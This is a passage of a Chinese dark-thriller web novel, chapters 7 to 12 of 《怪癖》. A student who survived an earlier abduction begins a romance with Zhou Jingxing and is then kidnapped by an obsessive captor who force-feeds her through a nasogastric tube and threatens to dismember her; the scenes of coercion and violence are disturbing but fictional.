《怪癖》
第7章 作画
秋榕榕有点怀疑自己的耳朵。
她觉得周景行这样的人不该说这么粗鲁的话。
但他真真切切地说了。
天是灰的,雨天潮得发闷。
挡风玻璃前的雨刷来回刮着,发出吱吱的声音,把她前方的水雾暂时抹干净,又很快被新一层雨幕遮住。
秋榕榕渐渐安静下来。
刚才那句话不是幻觉。
他是在开玩笑吗?
那她应该如何回应?
秋榕榕有点局促。
她偷偷看周景行。
周景行手扶着方向盘,专注地开车。
他神色坦然。
秋榕榕想不通,到最后索性装聋作哑,假装没有听见他说的最后一句玩笑话。
到家之后。
秋榕榕下车,豆大的雨珠砸下。
“披着。”周景行把自己的外套脱下来披在她的头上。
“那你呢?”
“我不怕淋雨。”
他真好,秋榕榕想。
周景行拍了一下她的后背,她顶着他的衣服,快步跑进别墅里。
院子里的兰花被这场暴雨摧残得七零八落。
周景行淋了雨,雨水打湿他的黑发,顺着白皙的脸颊流到尖尖的下巴处,再顺着漂亮的锁骨,渗进他的衬衫里。
他先去洗澡了。
浴室里传来水声。
里面开了灯,客厅还是昏暗的。
少年的侧影映在毛玻璃上,影影绰绰。
秋榕榕心乱如麻,她把湿衣服扔进洗衣机里。
换上干净的衣服后,秋榕榕给周淮安做了半锅盖浇饭。
她已经成年,是周叔叔为她提供住宿和生活费,让她在上大学的时候能够专心读书,不必为生计发愁。
她当感恩,所以她愿意承担起照顾周淮远的责任。
周淮远吃饭的样子很埋汰。
秋榕榕给他喂了几次饭,他脾气比之前好了些,没有再向她乱扔脏东西。
他所有的注意力都被电脑里的游戏吸引。
秋榕榕用余光瞟见电脑屏幕,红红白白,周淮远操纵的像素小人吞噬着其他路人,然后膨胀。
游戏伴随着血腥特效以及吃人时的咀嚼声。
周淮远格外兴奋,鼻腔处发出呼哧呼哧声,脸颊上的肥肉因为咧嘴大笑而堆成了三四层。
秋榕榕别开目光。
屏幕里的画面令她反胃。
她逃离似的离开周淮远的房间。
屋外惊雷阵阵,暴雨如瀑,别墅黑漆漆,屋内的灯明明开了,光线却那么昏暗,仅仅能照亮灯下的一小片地方,其他的,全是阴影。
秋榕榕抱着膝盖坐在沙发上,她被黑暗包围,屋外的闪电乍亮,一阵一阵照亮她苍白的脸。
拖着麻袋的男人在她脑海里挥之不去。
她反反复复想起麻袋里露出来的那半只浮肿的手。
是半只。
从大拇指的指根切到小拇指的指根,手掌横劈下,切口处光滑,可以猜到下刀的人干脆利索。
手已经有腐烂的迹象。
也不知道死了多久。
会轮到她吗?
秋榕榕不敢想。
周景行洗完澡出来,他穿着宽松的黑色丝绸睡衣,头发湿漉漉的,走到沙发后面,俯下身。
潮湿的水汽离秋榕榕的脸很近。
“想什么呢?”周景行的声音沙沙的,滑过她的耳廓,顺着耳洞撩拨过大脑,“还害怕呀,害怕就叫我,你叫我的名字,我就会出现保护你。”
太近了。
不是真的兄妹。
名义上说收养,其实成年后也不存在建立收养关系。
秋榕榕葱白的手指攥着袖口,身体稍稍往旁边偏一些,看向侧后方的周景行,柔声问道:“哥哥,能不能帮我一个忙?”
周景行胳膊撑着沙发靠背,向前探身,他的脖颈线条优美,性感的喉结突出来,上面还有没擦干的水珠。
将坠未坠。
适合伸出舌尖舔掉。
“你都叫哥哥了,哥哥当然什么都帮你。”他双眸温柔缱绻,只是长长的睫毛覆盖下,挡住那一丝淡漠疏离。
客厅的灯光暗,秋榕榕看不清他眼底的神色。
听见他愿意帮忙,由衷感激:“我想哥哥帮我画一幅凶手的肖像画。”
她努力在脑海中回忆凶手,想让周景行帮她画出凶手的样子,交给警方,给心理医生报仇。
“好啊。”周景行看似要起身。
秋榕榕也终于可以坐直一些。
但他虚晃一下,突然伸出修长的手,指尖穿过她后脑勺的发丝,按住她,在秋榕榕震惊的目光中,快速在她光洁的额头上亲了一下,又迅速退开。
又轻又快。
快到秋榕榕刚刚感觉到额头那点温热的触感,就被客厅里穿堂而过的凉风带走。
秋榕榕后知后觉,脸上的绯红蔓延到耳朵根。
“你……”她不知所措,低下头喃喃细语,“太快了,不能不明不白的……”
她的心在摇摆。
周叔叔帮她交学费,让她住进别墅里,把她当做家人。
最好的关系,应该止步于这一层。
“来我房间,我给你画画。”周景行捉住她不知该放在何处的手,捏了捏她的指尖,放在心口处。
他不解释刚才那个吻。
只是笑盈盈地看着她。
“给你画凶手,画什么都可以。”
秋榕榕有点不敢进他的房间。
雷雨天让她心慌慌,他牵着她的手把她拉进来,然后把门关起来,反锁住。
“为什么要锁门呀?”秋榕榕觉得周景行对她很好,但他们之间的亲近有点太快了。
周景行自顾自地拿出铅笔和素描纸。
“先干正事。”
“好。”
秋榕榕详细地描述着印象里拖着麻袋的男人。
“他的皮肤很白,侧脸的线条要更干净一些,眼尾自然下垂……但他内眼角微翘,将下垂的那一部分自然地抵消掉。”
“黑色瞳孔比普通人大一点,颜色更深,但是没有光……”
“耳朵下方有一颗黑色的小痣。”
秋榕榕断断续续地说着。
周景行画画的时候很安静。
睡衣袖口被他随意挽起,露出一截清瘦的手腕,骨节分明,手背上浅浅的血管隐约可见。
他低着头,铅笔在素描纸上沙沙作响。
“是这样吗?”周景行放下画笔,将画拿起。
顾怀薇看着画中人,脸色一寸一寸苍白。
太像了。
是他妙手丹青,神乎其技。
还是她描述得当。
整个过程,他只用橡皮擦出空白制造出光影的效果。
没出过一次错。
然后,完整的还原出,那人的相貌。
一模一样。
第8章 告白
秋榕榕伸出手,想从周景行的手中接过那幅画。
周景行却将画反扣在桌面上,一把抓住她的手腕,动作干净利落,将她整个人压在后面的床上。
“你想做什么!”
秋榕榕倒吸一口气,后背贴上柔软的床面。
他们对望。
一瞬间,时间被拉长。
周景行的膝盖压在她腿侧,手臂撑在她头边,没真正碰她,却又近得过分。
他低头看着她,额前几缕碎发落下来,几乎扫过她的睫毛。
真好看。
她能看到他水润的眼睛里,自己慌乱的倒影。
“别乱动。”他低声说,“你要的画给你,现在轮到我了。”
秋榕榕真的不敢乱动。
“什么?”
“今天在车上的时候,你为什么不闭上眼睛?”他的呼吸很轻,却不知为何烫得惊人。
“嗯?”
“别装傻,我知道你看得出来。”
昏暗的房间里,情愫在他的眼底流动,也不知是真是假。
她是成年人,这么直白的问话,她一瞬间就懂了。
他在问她,车里他给她系安全带的时候,为何不闭上眼睛,顺其自然地发展出一个吻。
“我……”这种时候在装傻,就显得太矫情别扭。
他在向她表达爱意,昏暗的房间里他的双眸格外明亮。
能被喜欢,秋榕榕受宠若惊。
她深呼一口气,鼓足勇气,真诚地说出心里的顾虑:“周叔叔给我吃给我住,我睡他儿子,总觉得不厚道。”
“哈?”
听到她这么说,周景行愣了一下,竟然意外地笑了,他的笑声极轻,像羽毛划过耳边,她却觉得整颗心都被什么攥住。
他年轻帅气,又对她温柔体贴。
她是喜欢的。
但是,秋榕榕很不安。
“我是说真的,你别笑,周叔叔把我当家人的,我又叫你哥哥,我们之间做家人更合适。”
前面的话说的轻松,后面就沉重起来。
“而且……”
她顿了顿:“我身上好多疤。”
秋榕榕说这件事时,眉眼平静。
就好像她是个很坚强的女生,可以坦然面对自己过去的伤痕。
但她其实是在乎的。
所谓的镇定,只是欲盖弥彰。
她的平庸,她的脆弱,让她肤浅地认为,漂亮的人更容易被喜欢。
但她的尊严,就让她表现出一副不在意的样子。
伤疤是丑陋的,是令人厌恶的。
秋榕榕渴望新的人际关系,她愿意开展一段恋情,被疼惜,被照顾。
但她又知道自己身上消不掉的疤代表着她难堪的过去。
没人有义务去接受她的丑陋。
除非他愿意爱这样的她。
想到这里,秋榕榕有点心躁,她把周景行推开,理了理自己乱掉的头发:“我可以给你看我的胳膊,我身上都是刀割的伤口,做过疤痕修复,但没法完全去除掉。”
周景行盘腿坐在床上,很乖的看着她:“我不介意。”
像做梦一样。
秋榕榕看着他:“为什么……不介意?”
他又重复了一遍,这次说的更认真:“我不介意,我们试试吧。”
一个各方面都很完美的少年,在她孤独地来到一个陌生的城市,出现在她的身边。
就那么的恰巧。
像童话故事里命中注定的相遇。
只可惜秋榕榕不懂。
太多的巧合一起出现,是一件极为危险的事情。
“好。”她说。
秋榕榕今夜睡得格外安稳。
连粉色的房间都不再像内脏一样蠕动。
大多数人,都是遇见怦然心动的少年,萌生恋爱的想法。
秋榕榕是先想谈一场恋爱,然后和她匹配的少年,就这样顺遂地走到她的身边。
她想用新的人际关系,来弥补自己失去的。
这是她新生活的第一步。
……
秋榕榕睁开眼,乙醚的气味还残存在她的鼻尖,她昏昏沉沉,在天旋地转中挣扎着坐起来。
这里又是哪里?
她还记得昨夜周景行和她告白,她没忍住诱惑,牵住了他伸出来的手。
然后早晨,他带着画,要送她去警署。
再之后就是追尾。
他先下的车,但很久没有动静。
她感到奇怪,从副驾驶下来。
然后,有人用粘着乙醚的毛巾捂住了她的口鼻。
她再睁开眼。
就发现自己躺在了这个没有窗户的白色房间里,身下是柔软的毛毯。
因为药物,恐惧没有立刻到来。
它是缓慢的,像水流渗入破裂的瓷器,一点点漫上来,渗进指缝、皮肤、骨头里,最后涨满她整颗心脏。
她扶着墙壁站起来,顺着墙壁的边缘摸到门口。
一扇很厚的铁门,从外面上锁,挡住了她的去路,秋榕榕去拽门把手,门纹丝不动。
墙也很厚,把耳朵贴在墙上,听不见外面的声响。
秋榕榕又跌坐回地上。
她后知后觉地意识到,她又被绑架了。
门把手在这个时候转动。
伴随着“吱呀”一声,门开了。
因为秋榕榕跌坐在门口,门开到一半就卡在了她的腿那边。
男人的头先伸进来。
熟悉的面容。
侧过来的半边脸之后能看见耳朵下的那颗小黑痣。
他来了。
他来杀她了!
秋榕榕大脑虽然迟钝,但身体本能地做出防御反应,她用尽全身的力气去撞门,希望门可以夹断那个男人的脖子。
门移动了一点。
但男人的力气很大,很快用手按住门的边缘,侧身挤进来。
“你怎么坐在地上?”男人皱眉,语气里有责怪,“地上凉。”
秋榕榕张开嘴,手撑在地上蹬着腿往后退。
她应该勇猛一点,站起来挥起拳头砸向坏人,夺门而出,明天再出现在新闻的头条上,得到一个勇对恶人的名声。
又或者,舌灿莲花,敏锐地发现坏人不为人知的过往,然后说服他放过自己。
都没有。
事实上,她觉得自己像是一块瘫软的棉花。
站不起来。
“我不是给你毯子了吗?”男人弯下身,把她横抱起来。
秋榕榕闻到男人身上消毒水的味道。
“我想出去。”
男人惊讶于她的诚实,他低头看着怀中的她:“你是在和我说话?”
秋榕榕说话的速度很慢。
她需要慢慢地想,慢慢地说:“你放我走吧,我不会报警的。”
“我看见了车里的那幅画,画得可真像。”
赞美的话令人胆寒。
男人把秋榕榕重新放回毛茸茸的毯子上,然后开始脱她的衣服。
第9章 犯错
他们之间是有年龄差距的。
秋榕榕刚上大学,青春洋溢。
而面前的这个男人,很明显是社会上的人,沉稳,又有些压抑,看起来不像正常人,像是梅雨天气生长出的毒蘑菇。
应该接近三十了吧。
和周景行完全不一样的感觉。
周景行身上有少年感,而面前的是成熟危险的男人。
经历过社会,不纯粹了。
他仔细打理过自己,衣服上熨烫整齐没有褶皱,袖扣别致,看起来价格不菲。
来的时候,刮过胡子,应该也洗过澡。
面颊白净,指甲修剪的很整洁。
脱女人衣服也很自然……
秋榕榕想把自己缩成一小团,但男人不允许。
屈辱和恐惧交织着,像野火一样灼烧秋榕榕迟钝的神经。
领口被扯开,男人没有说话,只有一只手落在她肩头按住她,温度低得像冰。
她本能地缩了一下,不敢看对方的脸,也不想知道那双手最终会落到哪里去。
他会侵犯她吗?
肩带的扣子被解开。
秋榕榕像木偶娃娃一样任对方摆弄,她的眼睛死死盯着地板,想象自己变成地上的一块石头,或者墙上那道裂缝。
她又想起了麻袋里掉出来的那只手。
比起变成一块一块的,被扔进不同的下水道里。
她可以接受被侵犯。
三年前,秋榕榕的爸爸妈妈没有被虐杀在她面前的时候,她一直觉得尊严很重要。
爸爸说,人要有尊严,宁可站着死,不能跪着活。
妈妈说,人要有尊严,一定要靠自己,不拿不属于自己的东西。
他们都有尊严。
他们死在了秋榕榕前面。
痛苦可以将人的尊严拆掉。
连减肥都成功不了的人,是不可能面对刀子,还有毅力维持自尊的。
秋榕榕亲眼见过人死的过程。
很详细。
爸爸妈妈当时睁大眼睛,嘴角扭曲,身体出现痉挛,剧烈的疼痛让他们大小便失禁……
尸体的温度降得很快。
半个小时过后,皮肤低洼部位出现紫红色斑块,那是尸斑。
再往后,尸体变得僵硬,肝脏和大脑部分会组织液化,皮肤变色,腹部膨胀如气球,不好好保存的话还会从肚子上炸开,带融化的内脏飞溅出来。
多么的可怕。
对秋榕榕而言,死亡是这个世界上最可怕的事情。
男人不说话,只有手下脱衣服时发出的布料摩擦声。
秋榕榕的身体像被封住,理智知道挣扎会带来更恐怖的后果,于是只能等、只能熬。
“抬腿。”
她配合。
“转过来。”
她也配合。
直到她身上凉飕飕的,没有遮挡物。
他端详着她,像是端详着一件艺术品。
“别杀我。”秋榕榕强迫自己抬起头,然后扯着僵硬的脸,逼自己露出一个讨好的笑容,“我愿意配合做任何事。”
她的双手自然下垂,拳头捏了又捏。
一览无余。
可惜伤疤破坏了美丽。
见男人不说话,她甚至慌忙地找补了一句:“我之前没谈过,是第一次。”
这应该是全天下的男人都喜欢听的话。
但这话放在秋榕榕身上,大多数人是不愿意相信的。
她曾经被囚禁虐待一年。
凶手是男性。
那一年,发生了什么,她有口说不清。
男人很冷淡地“嗯”了一声,似乎对这种事情并不感兴趣。
秋榕榕在心里安慰自己。
这个男的说不定性冷淡。
对她没那方面的兴趣。
她只需要撑一撑。
连续几天不去上必修课,老师迟早会察觉。
等到辅导员打听她的下落,却发现怎么也找不到人时,学校就会重视起来。
而周景行,会在她失踪后的第一时间寻找。
他还好吗?
秋榕榕为他感到担忧。
她在心里给自己打气。
要扛住。
活到救援来的那一天。
男人站起身,转身离开房间。
大约过了五分钟,他又回来。
秋榕榕听见男人走近的声音,皮鞋踏在地板上,钝钝的,重重的。
这次,秋榕榕待在原先的毛毯上没有乱动。
男人很满意,喉咙里发出愉悦的笑声。
“你身上的这件衣服是化纤的,会伤到你的皮肤。”
秋榕榕茫然地抬起头。
她看见,男人手上拿着一件柔软的蓝色真丝长裙,细腻的光泽在灯光下像水波轻轻晃动。
“别担心,我会好好照顾你,给你穿漂亮的衣服,吃健康的营养餐。”男人感受到手心之下瑟瑟发抖的少女,他指尖触摸着她身上触目惊心的伤痕,露出病态迷恋的神色,“我会把你养得很好。”
他是个怪人。
细心,爱干净。
吃饭,他会抱着秋榕榕,一口一口喂她吃,秋榕榕吃不下去红色的食物,他就打碎了,蒙着她的眼睛让她喝下去。
衣服也是他提供的,一天要换三次。他用软尺量了她身上所有地方的尺寸,衣服格外合身。
她不被允许出门。
每天除了去厕所之外不允许多走路。
他是一个极端控制狂。
秋榕榕不知道他的名字,只能称呼他为“先生”。
他说什么,她做什么。
能配合的尽量配合。
被关在房间里,秋榕榕分不清白天黑夜。
她吃了睡,睡了吃。
就这样,她还是在一夜之间,变得沧桑又惶恐。
她脑海里一直紧绷着一根弦。
终是在第二天,犯了错。
很普通的喂饭,红色的番茄。
但秋榕榕吃不下红色的东西。
“先生,换一种食物吧。”
“不可以。”男人无情的拒绝了她。
“我吃不了,真的吃不了……”
男人把勺子放在她的唇边,捏着她腰部的手力气紧了些。
眼神也变得危险。
他不允许她拒绝反抗他。
秋榕榕也看懂他眼神里的阴暗,如果她再哭着祈求,说不定会发生更恐怖的事情。
于是,她逼迫自己去咀嚼。
但是一想到自己的嘴巴里咀嚼的东西颜色和鲜血一样,她就忍不住呕吐。
胃里像被一只无形的手反复搅动着,翻江倒海。
她喉咙发紧,口腔泛起苦味,被强硬着咽下去的食物在胃里翻腾,酸涩的热流从胃底涌上来。
“唔哇——”
她死死捂住嘴巴,没忍住,终是吐在了男人的身上。
秽物弄脏了他的衬衫。
没怎么咀嚼就强硬咽下去的番茄还没经过胃酸的消化,吐出来的时候是完整的块状红色。
这一瞬间。
秋榕榕觉得自己死定了。
因为这个男人每次喂他吃饭之前都要用酒精消毒,他给的衣服从来都是整洁妥帖,从细节不难看出,他很在乎个人卫生。
这种情况下,秋榕榕吐他满身。
他会杀了她。
第10章 洗澡
“先生,对不起……”秋榕榕虚弱地低声开口,一缕长发垂落在肩前,末端沾染着呕吐物,狼狈不堪。
她经常道歉,以求平息对方的怒火。
哪怕她不曾做错什么。
她的表情迟钝又麻木。
不是个鲜活的人儿。
他只是淡漠地看着她。
冷冷的一眼,就让她恐惧到瞳孔都在颤抖。
秋榕榕深知,昨天到今天的和平相处只是一种假象。
他在玩他的游戏。
而她,是被精心包装起来的可心玩偶。
供他摆弄、赏玩。
直到觉得无趣的那一刻,被处理掉。
可秋榕榕不想死。
她当年死里逃生后,就把自己的命看得比什么都重要。
活着多好。
能品尝到世间百味,走出门看人间繁华,四季更迭,花开花落,都是好东西。
谁来这世间都是第一回。
结束了就没有了。
秋榕榕既不相信神佛,也不相信来生。
她是实实在在受过苦的人。
那一年,该拜的都拜了。
没有人比绝望中的她更虔诚。
那时,被打得头破血流,刀一寸一寸割在身上,血流了那么多,没神佛来回应她。
现在,她自己跑出来,便不会再信这些。
男人抱着秋榕榕去浴室,长腿迈出。
“先洗澡。”
她的脸贴着他的胸膛。
如此恶人,也有心跳声。
浴室里,他又脱下了精心为她挑选的衣服,像剥下糖纸。
水漫过秋榕榕的肩膀,她扶着浴缸的边缘,让清水带走身上的污秽。
男人用手掬着水,温热的水流让秋榕榕圆润的肩头变得湿润,水顺着她的锁骨滑下,又重新回到浴缸里。
荡起水波纹。
男人观赏着她的怯懦,然后手指抚摸着她后脖颈,顺着她的脊椎骨往下,得出结论:“软骨头。”
他应该挺高兴的。
说这话时,语调上扬。
他喜欢软骨头。
秋榕榕无意争辩。
软骨头不好吗?
软骨头才活得久呀。
“有没有人夸过你很漂亮?”他似乎很喜欢和秋榕榕说话,哪怕她不怎么回应他。
秋榕榕抿着唇摇头。
“你的伤痕很漂亮。”他是真心这么觉得的,甚至叹息着,“你简直是一件艺术品!”
那都是她受的苦。
他在夸赞她的苦难。
秋榕榕抬头:“先生,你是当年害死我全家的凶手吗?”
多么的有礼貌,问这种问题,她还带称呼了呢。
秋榕榕一直是个好女孩。
勤快,有礼貌。
就是命不好。
命不好……
她心里是有恨的。
原本的恨,在凶手被执行死刑的时候就结束了。
但她知道,若眼前人凶手,并且逍遥法外,她原本熄灭的恨意,就又会燃烧起来。
杀人要偿命。
她的爸爸妈妈,爷爷奶奶,还有来帮她过生日的姑姑与小表弟,都死了。
凶手真会选日子。
她悲惨的十四岁,泡在血里度过。
可怜的凯蒂猫蛋糕,脑袋摔掉一半,多好的蛋糕,用的是进口的动物奶油,白白糟蹋了。
从此她再也不过生日。
没人给她买蛋糕。
她再也不敢吃蛋糕!
男人似乎不理解秋榕榕为何变得胆大,敢这么直接问他。
他也不会承认。
谁做坏事会承认呢?
有些人是畜生。
但不是傻子。
“想要证明一个人是凶手,你得拿出证据。”他爱不释手地摸了摸秋榕榕湿漉漉的长头发,“你不能直接问我,直接问,我不会告诉你。”
年纪大的男人就是爱说教。
通病。
恶徒也不例外。
“你可以良心发现,然后告诉我真相。”秋榕榕天真地说。
可她本来就不大。
她只是经历得比别人多,不代表她必须老成。
“我没有良心。”男人说得理所应当。
可过了一会儿,他又一本正经地强调:“我是个好人。”
秋榕榕很想提醒他,他现在所干的每一件事情,都和好人无关。
但她最终没有说出口。
从水里被抱出来,男人用浴巾把她擦干净。
秋榕榕以为,刚才她所犯的错误被轻轻揭过。
他们洗了澡。
进行还算友好的交流。
这一页就过去了。
但她错了。
错得很彻底。
男人抱着紧裹了一张浴巾的她离开了囚禁的房间。
秋榕榕紧张地看向四周。
她在看自己的出路。
但她绝望地发现,房间之外,还是房间。
厚厚的铁门,每个都有指纹锁。
秋榕榕没那本事,把这男人的手指头切下来开锁。
这里像迷宫。
困锁着她的迷宫。
男人抱着她,七拐八拐,熟练地进入了一间手术室。
他个子高,腿也长,走起路来都带风。
冷气开得很低,这里哪里像手术室,这里更像停尸间。
面前这个男人应该去当科学怪人。
手术室里,摆了许多瓶瓶罐罐,里面泡着人体器官。
像什么手呀,脚呀,眼珠子呀,已经不稀奇了。
他连生殖器都会泡在里面。
不是个正常人。
秋榕榕很快意识到,她可能成为其中一部分。
“你要做什么!”
“你个变态!杀人犯!”
“你不能这么对我!恶有恶报,我死了,你也会死!会被枪射成筛子!”
秋榕榕开始推他,抓他,咬他。
她真像个歇斯底里的小疯子。
没办法。
秋榕榕怕死。
她的底线就是自己的命。
这个底线已经是最低了。
没有人比她更低。
为什么?为什么这些恶人还要踩在她的底线上?
她已经倒霉过一次了。
不能每一次都是她。
男人被她抓破了脸,皱着眉看她。
他一只手就能抓住她两只手的手腕。
敌我力量悬殊。
“别闹。”他警告她,还恶狠狠地捏着她的骨头。
她的手腕骨凸出来。
他捏在上面。
快碎掉了。
秋榕榕这哪里是闹呀?
她在挣扎,可惜本事太小,在他看来像是玩闹。
蜉蝣撼树。
男人把她绑在了手术台上。
捆着她的手,她的脚,她的脖子。
她直挺挺地躺在那里,再也动弹不得。
他摸她,还夸她:“第一眼看见你的时候,就觉得你很白,像兔子,想带回来养。”
秋榕榕睁着眼睛,眼泪却很难流下来。
她觉得自己要死了。
应该留下点遗言。
可思来想去,她觉得要说的太多,应该写本书。
谁能给她点时间,在没写完之前,赐给她一张免死金牌。
没有。
没人能阻止屠刀挥向她。
她盯着白到反光的天花板,张开嘴巴,千言万语,变成一句问话:“你听过兔子叫吗?”
第11章 兔子
兔子是温顺的小动物。
被揪着耳朵提起来,蹬蹬腿,不会叫。
兔子惯会忍耐。
只有在一种情况下,兔子会发出尖叫。
那就是,兔子以为自己快要被吃掉的时候。
哪怕只是张开嘴,亲亲兔子。
兔子也会叫。
兔子叫。
别吃我。
请千万别吃掉我!
秋榕榕多希望自己是个有勇气的大英雄。
这样她就可以昂着头,慷慨赴死。
但她只是小小的秋榕榕。
她和兔子一样。
被绑在手术台上,看着男人走向她,她只能发出尖叫声。
眼球因为惊恐凸出来。
不体面。
懦弱又可耻。
也许是秋榕榕的尖叫声快要刺破男人的耳膜,又或者男人爱惜她的嗓子,不愿意她把嗓子叫破。
他拿出黑色的眼罩,给她戴上。
“别害怕。”男人亲了亲她的额头鼓励她,“我只是想帮助你好好吃饭。”
秋榕榕想起周景行的那个吻,干干净净,他的嘴唇软软的。
不像这个男人,像是在酒精里泡过。
吻过的地方,冰凉。
陌生的男人,酒精擦得再干净,也有点脏。
她怕极了。
四肢被固定带束缚着。
“你要做什么?至少告诉我你要做什么!”
男人宽大的手按住了她的下颚。
“放松,深呼吸。”男人在她耳边说,语气冷静,“张开嘴巴,我在帮助你。”
他的手指伸进她的嘴巴,按住她的牙龈,逼迫她张口。
她感觉一股冰冷的润滑液体在鼻孔边缘涂开,随即一根细软的导管抵在她右侧鼻孔口。
软管进入鼻子,秋榕榕就不敢乱动了。
她怕自己鼻子里的黏膜被刮伤。
管子尖端已经抹过润滑剂,还有一点麻醉凝胶。
他挺爱惜她。
至少还涂了麻醉。
“吸气,轻轻吞口水。”男人的声音轻柔,像是催眠。
秋榕榕很配合。
她必须配合,不然受罪的,是她自己。
管子推进时,秋榕榕能感觉到异物慢慢穿过鼻腔,压过咽喉,一路滑进食道。
那一刻,她几乎呛咳。
眼泪应该流下来。
但她的双眼是干涸的井水,流淌不出一滴水。
只有疼痛,如此真实。
秋榕榕忍住干呕。
男人确认导管位置已达胃部,用注射器抽出少量胃液确认,又迅速推入几毫升温水冲洗。
“这样,你就不会挑食了。”
他的手指落在她的鼻尖,按照插胃管的位置,从外部的皮肤一路向下,停在胃部。
加热的番茄汁注入灌注器。
男人一点点推送进去。
番茄汁沿着软管进入她体内。
红色将她充满。
她体内变得红彤彤。
秋榕榕将插胃管的过程称作酷刑。
“你以后可以自己乖乖吃番茄吗?不能每次都用胃管,我不想你难受。”
秋榕榕忙不迭点头。
她恨不得赌咒发誓,下次一定会咽下去。
拿筷子捣都要捣下去。
总比插胃管好得多。
男人放开她,抽出她的胃管,抱着她不着存缕的身体,几乎是喜极而泣。
“很棒,你配合得很好,没有受伤。”他的下巴抵着她的头顶,“我治好你的挑食了,你得谢谢我。”
秋榕榕戴着眼罩。
这次,她没有把胃里的番茄汁吐出来。
可喜可贺。
男人笑了。
她也跟着笑出来。
秋榕榕不再抗拒红色的食物。
她很难受。
但强迫自己,也可以闭着眼睛吃下去。
这对他们而言,都是好事情。
男人在夜晚话总是特别多。
这里没有钟表。
他抱着她一起睡的时候,就是夜晚。
男人从后面抱着她。
他没有乱摸。
老实说,男人对她没那方面的兴趣。
他们贴得那么近,秋榕榕可以感受到。
他根本就没硬。
秋榕榕以为男人睡着了,但他没有。
黑暗里,男人的声音都沾染了几个夜色,低沉缓慢,带着几分困倦。
“我听过兔子叫。”
他在回忆。
“我以前养过一只小兔子,我拿刀对着它时,它不叫,但我亲亲它,它却叫得很惨。”
因为那个兔子以为自己要被吃掉了。
秋榕榕才不回答他。
夜晚是最好的保护色。
她要装睡。
“我的兔子是肉兔,它从饭店的后厨蹦出来,那么多客人,它偏偏蹦到我的怀里,好乖好乖,我很喜欢它,一直好好照顾它,但它还是死掉了。”
男人有点伤心,秋榕榕觉得自己的肩头湿湿的,他把脸埋在她的肩膀上哭了出来。
这可真是够吓人的。
他总是自说自话。
他又问秋榕榕:“你猜它怎么死掉的?”
“……”
男人从后面勒着她,抱得越来越紧,紧到她的呼吸都困难。
他在她耳边呼吸。
又问了一遍。
“你猜它是怎么死的?”
“不知道……”被勒得肋骨痛,秋榕榕听见自己的心跳声。
她一点也不想知道。
但她又担心自己一直不说话,男人把她的内脏勒出来。
“被烧死的。”他从后面亲了亲她的头发,又蹭蹭她,如情人般温柔呢喃,“但是没关系,我的小兔子投胎到了你的身体里,又回到我身边。”
他把她当成她的小兔子。
帮她洗澡,给她喂饭,还抱着她睡觉。
秋榕榕厌恶这个男人。
她的心理医生也死在他的手上。
他把她重要的人切成一片一片。
多行不义必自毙。
他快点死!
男人不喜欢秋榕榕走路。
他要求秋榕榕在每次去厕所的时候叫他,他会抱着她去。
他看着她排泄。
还觉得很可爱。
秋榕榕肯定不愿意。
她希望男人哪天可以被人打掉眼珠子。
只有男人不在的时候,秋榕榕才会快速去上厕所。
男人如果赶回来,发现她已经上过厕所,就会露出失望的表情,眼巴巴地看着她。
她怀疑男人有正经的工作。
因为男人一天要出去两次,就像普通的行政班。
中午会回来给她喂饭。
午睡一小会。
下午出去上班。
晚上再回来,陪她一整夜。
秋榕榕在试图收集这个陌生男人的信息,她想藏起他的头发,然后想作为证据带出去。
但男人很爱干净。
有点到令人发指的程度。
她没有在房间里找到他一根头发丝。
得找机会,拔下一根。
第12章 道歉
男人中午回来的时候,不碰秋榕榕,站在离她很远的位置,盯着她一直看。
房间里冷白的光落在他的半边脸上,透着冷峻无情。
他是那种从面相上看,就不像是好人的人。
耷拉的眼角透着凶狠。
秋榕榕抱着膝盖坐在床上,被他看得发毛。
“你想不想和我一起走?”
说这话的时候,男人殷切地往前走了一步。
秋榕榕抬起头,有些诧异地看着他。
但过一会儿,他又说:“算了算了,带着麻烦。”
好像她是什么沉重的包袱。
秋榕榕又把头低下,偷偷地松了口气。
听他这么说,她知道,这个地方估计要被找到了。
男人在原地很纠结,继而又神经质地说道:“其实分开带也可以。”
“分开?”秋榕榕瞳孔微微放大,后背发凉。
他这是什么意思?
千万不要是她想的那层意思。
“对!分开带方便点。”男人长长地叹了一口气,像是下定决心,快步走向秋榕榕,他双手按着她的肩膀,然后开始捏她每一节骨头的接缝处。
剁过骨头的都知道。
从缝隙处剁比较省力。
秋榕榕手脚冰凉,很艰难地找回自己的声音。
“切开带着我,你不嫌重吗?”
她的嗓子哑得厉害,但还是努力克服内心的恐惧,和他交涉。
“不如留活口,我跟你一起走,你不用把我装在麻袋里,我还能帮你拎东西。”
男人似乎有些生气,捏她骨头的力量变大,提高音量质问她:“可是你没有看起来那么乖,今天早晨,你去厕所的频率比昨天要高很多,去之前,还会在房间里稍微绕一圈,你在找什么东西?”
秋榕榕惊讶于他的敏锐。
她在找他可能遗落在房间里的头发丝儿。
男人的头发很好辨认。
短且发色黝黑。
不像她头发又细又软,尾端因为身体不好还有点分叉。
她没找到。
男人太爱干净,没给她这个机会。
秋榕榕眨了眨眼睛,迅速找到借口:“我坐的时间有点久,想稍微起来活动一下。
这个房间一览无余,我哪里能找到什么东西?”
男人盯着她的眼睛看。
眼睛是心灵的窗户。
他想从这里直通她的心脏。
秋榕榕捏紧拳头,坦然地微微仰着头看着他。
她说谎的水平不怎么样。
好在恐惧是真实存在的,隐藏住了她原本的那几分心虚。
“不是不愿意带你。”男人坐在床边,有些丧气地揉了揉她的头顶,“想要照顾好你真的很麻烦,你活着,能跑能跳,食物吃得不新鲜会腹泻,衣服穿得不干净会过敏。
我要是养你,就得好好养,好好养你实在很辛苦。
相比较而言,泡在福尔马林里,虽然背起来很重,但不用保养。”
男人在和秋榕榕讲道理。
试图让她理解他的选择。
秋榕榕不能顺着男人的逻辑说下去。
她相信,自己但凡有一点顺着她的话,表达自己可以理解,他真的会用刀把她剁成尸块,保存起来。
杀人这种事,一回生,二回熟。
面前的这个男人,明显是个老手。
“你不是说你的兔子投胎到了我的身体里吗?”秋榕榕把身子歪进他的怀里,双手勾着他的腰,温顺得像是没有骨头,“那你忍心,让我们重逢的时间变得如此短暂吗?”
她忍着恶心说这些话。
男人但凡正常一点,都能看得出她的娇柔造作。
她毕竟不是专业的演员。
说这话的时候恨不得捏着鼻子把头别开。
可男人格外感动。
他紧紧地抱着她:“你说的对,是我想的太简单了。
你是我的小兔子,重新回到我身边,我应该好好珍惜你。”
秋榕榕试探道:“那你带我一起走?”
“对不起,你得留下来。”男人露出愧疚的神色。
秋榕榕心下一喜,但又不能表现得太明显。
